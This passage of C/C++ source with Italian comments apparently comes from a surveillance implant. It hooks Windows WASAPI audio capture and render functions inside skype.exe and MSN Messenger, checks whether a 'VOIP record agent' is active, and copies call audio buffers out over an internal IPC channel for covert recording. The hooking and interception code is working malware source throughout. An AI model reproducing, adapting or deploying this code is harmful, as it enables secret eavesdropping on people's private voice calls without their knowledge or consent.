if (pData->c_data->active2)
LARGE_CLI_WRITE(pData->c_data->audio_data2, NumFramesWrittem*SKYPE_WASAPI_BITS*pData->n_channels, ((pData->n_channels)<<30) | (pData->prog_type<<24) | FLAGS_OUTPUT, IPC_LOW_PRIORITY);
}
}
CALL_ORIGINAL_API(3);
return ret_code;
}
DWORD PM_WASAPIReleaseBuffer_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
// Verifica autonomamente se si tratta del processo voip
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "skype.exe"))
return 1; // Hooka solo skype.exe
} else
return 1;
WASAPIReleaseBufferData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
WASAPIReleaseBufferData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
WASAPIReleaseBufferData.c_data = (WASAPIGetBufferStruct *)pData->PARAM[0];
WASAPIReleaseBufferData.prog_type = VOIP_SKWSA;
if (GetWASAPIRenderFunction(&(WASAPIReleaseBufferData.bAPIAdd), WASAPI_RELEASEBUFFER, &(WASAPIReleaseBufferData.n_channels), &(WASAPIReleaseBufferData.sampling)) != S_OK)
return 1;
WASAPIReleaseBufferData.dwHookLen = 800;
return 0;
}
BYTE *GetWASAPICaptureFunctionAddress(IMMDevice *pMMDevice, DWORD func_num, DWORD *n_channels, DWORD *sampling)
{
BYTE **func_ptr;
BYTE ***interface_ptr;
HRESULT hr;
WAVEFORMATEX *pwfx;
IAudioClient *pAudioClient = NULL;
IAudioCaptureClient *pAudioCaptureClient = NULL;
hr = pMMDevice->Activate(__uuidof(IAudioClient), CLSCTX_ALL, NULL, (void**)&pAudioClient);
if (FAILED(hr))
return NULL;
hr = pAudioClient->GetMixFormat(&pwfx);
if (FAILED(hr)) {
pAudioClient->Release();
return NULL;
}
if (n_channels)
*n_channels = (DWORD)(pwfx->nChannels);
if (sampling)
*sampling = (DWORD)(pwfx->nSamplesPerSec);
hr = pAudioClient->Initialize(AUDCLNT_SHAREMODE_SHARED, AUDCLNT_STREAMFLAGS_EVENTCALLBACK, 0, 0, pwfx, NULL);
CoTaskMemFree(pwfx);
if (FAILED(hr)) {
pAudioClient->Release();
return NULL;
}
hr = pAudioClient->GetService(__uuidof(IAudioCaptureClient), (void**)&pAudioCaptureClient);
if (FAILED(hr)) {
pAudioClient->Release();
return NULL;
}
interface_ptr = (BYTE ***)pAudioCaptureClient;
if (!interface_ptr || !(func_ptr = *interface_ptr)) {
pAudioCaptureClient->Release();
pAudioClient->Release();
return NULL;
}
func_ptr += func_num;
pAudioCaptureClient->Release();
pAudioClient->Release();
return *func_ptr;
}
HRESULT GetWASAPICaptureFunction(BYTE **ret_ptr, DWORD func_num, DWORD *n_channels, DWORD *sampling)
{
BYTE *func_ptr;
IMMDeviceEnumerator *pMMDeviceEnumerator;
IMMDevice *pMMDevice;
HRESULT hr = S_OK;
CoInitialize(NULL);
hr = CoCreateInstance(__uuidof(MMDeviceEnumerator), NULL, CLSCTX_ALL, __uuidof(IMMDeviceEnumerator), (void**)&pMMDeviceEnumerator);
if (FAILED(hr)) {
CoUninitialize();
return hr;
}
hr = pMMDeviceEnumerator->GetDefaultAudioEndpoint(eCapture, eCommunications, &pMMDevice);
pMMDeviceEnumerator->Release();
if (FAILED(hr)) {
CoUninitialize();
return hr;
}
func_ptr = GetWASAPICaptureFunctionAddress(pMMDevice, func_num, n_channels, sampling);
pMMDevice->Release();
CoUninitialize();
if (func_ptr) {
*ret_ptr = func_ptr;
return S_OK;
}
return S_FALSE;
}
HRESULT __stdcall PM_WASAPICaptureGetBuffer(BYTE *class_ptr,
BYTE **ppData,
UINT32 *pNumFramesToRead,
DWORD *pdwFlags,
UINT64 *pu64DevicePosition,
UINT64 *pu64QPCPosition)
{
BOOL *Active;
MARK_HOOK
INIT_WRAPPER(WASAPIGetBufferStruct)
CALL_ORIGINAL_API(6);
// Controlla se il monitor e' attivo
Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT);
if (ret_code!=S_OK || !Active || !(*Active))
return ret_code;
pData->obj_ptr = class_ptr;
pData->audio_data = *ppData;
return ret_code;
}
HRESULT __stdcall PM_WASAPICaptureGetBufferMSN(BYTE *class_ptr,
BYTE **ppData,
UINT32 *pNumFramesToRead,
DWORD *pdwFlags,
UINT64 *pu64DevicePosition,
UINT64 *pu64QPCPosition)
{
BOOL *Active;
MARK_HOOK
INIT_WRAPPER(WASAPIGetBufferStruct)
CALL_ORIGINAL_API(6);
// Controlla se il monitor e' attivo
Active = (BOOL *)pData->pHM_IpcCliRead(PM_VOIPRECORDAGENT);
if (ret_code!=S_OK || !Active || !(*Active))
return ret_code;
// E' una nuova chiamata
if (pData->obj_ptr && pData->obj_ptr2 && pData->obj_ptr!=class_ptr && pData->obj_ptr2!=class_ptr) {
pData->obj_ptr = NULL;
pData->obj_ptr2 = NULL;
}
// Memorizza entrambi gli oggetti aperti da MSN
if (pData->obj_ptr == NULL) {
pData->obj_ptr = class_ptr;
pData->audio_data = *ppData;
} else if (pData->obj_ptr != class_ptr) {
if (pData->obj_ptr2 == NULL) {
pData->obj_ptr2 = class_ptr;
pData->audio_data2 = *ppData;
}
}
if (pData->obj_ptr == class_ptr)
pData->audio_data = *ppData;
if (pData->obj_ptr2 == class_ptr)
pData->audio_data2 = *ppData;
return ret_code;
}
DWORD PM_WASAPICaptureGetBuffer_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
// Verifica autonomamente se si tratta del processo voip
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "skype.exe"))
return 1; // Hooka solo skype.exe
} else
return 1;
WASAPIGetBufferData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
WASAPIGetBufferData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
WASAPIGetBufferData.obj_ptr = NULL;
WASAPIGetBufferData.audio_data = NULL;
if (GetWASAPICaptureFunction(&(WASAPIGetBufferData.bAPIAdd), WASAPI_GETBUFFER, NULL, NULL) != S_OK)
return 1;
WASAPIGetBufferData.dwHookLen = 350;
return 0;
}
DWORD PM_WASAPICaptureGetBufferMSN_setup(HMServiceStruct *pData)
{
char proc_path[DLLNAMELEN];
char *proc_name;
// Verifica autonomamente se si tratta del processo voip
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (stricmp(proc_name, "msnmsgr.exe") || !IsVista(NULL))
return 1; // Hooka solo MSN
} else
return 1;
WASAPIGetBufferData.pHM_IpcCliWrite = pData->pHM_IpcCliWrite;
WASAPIGetBufferData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
WASAPIGetBufferData.obj_ptr = NULL;
WASAPIGetBufferData.obj_ptr2 = NULL;
WASAPIGetBufferData.audio_data = NULL;
WASAPIGetBufferData.audio_data2 = NULL;
if (GetWASAPICaptureFunction(&(WASAPIGetBufferData.bAPIAdd), WASAPI_GETBUFFER, NULL, NULL) != S_OK)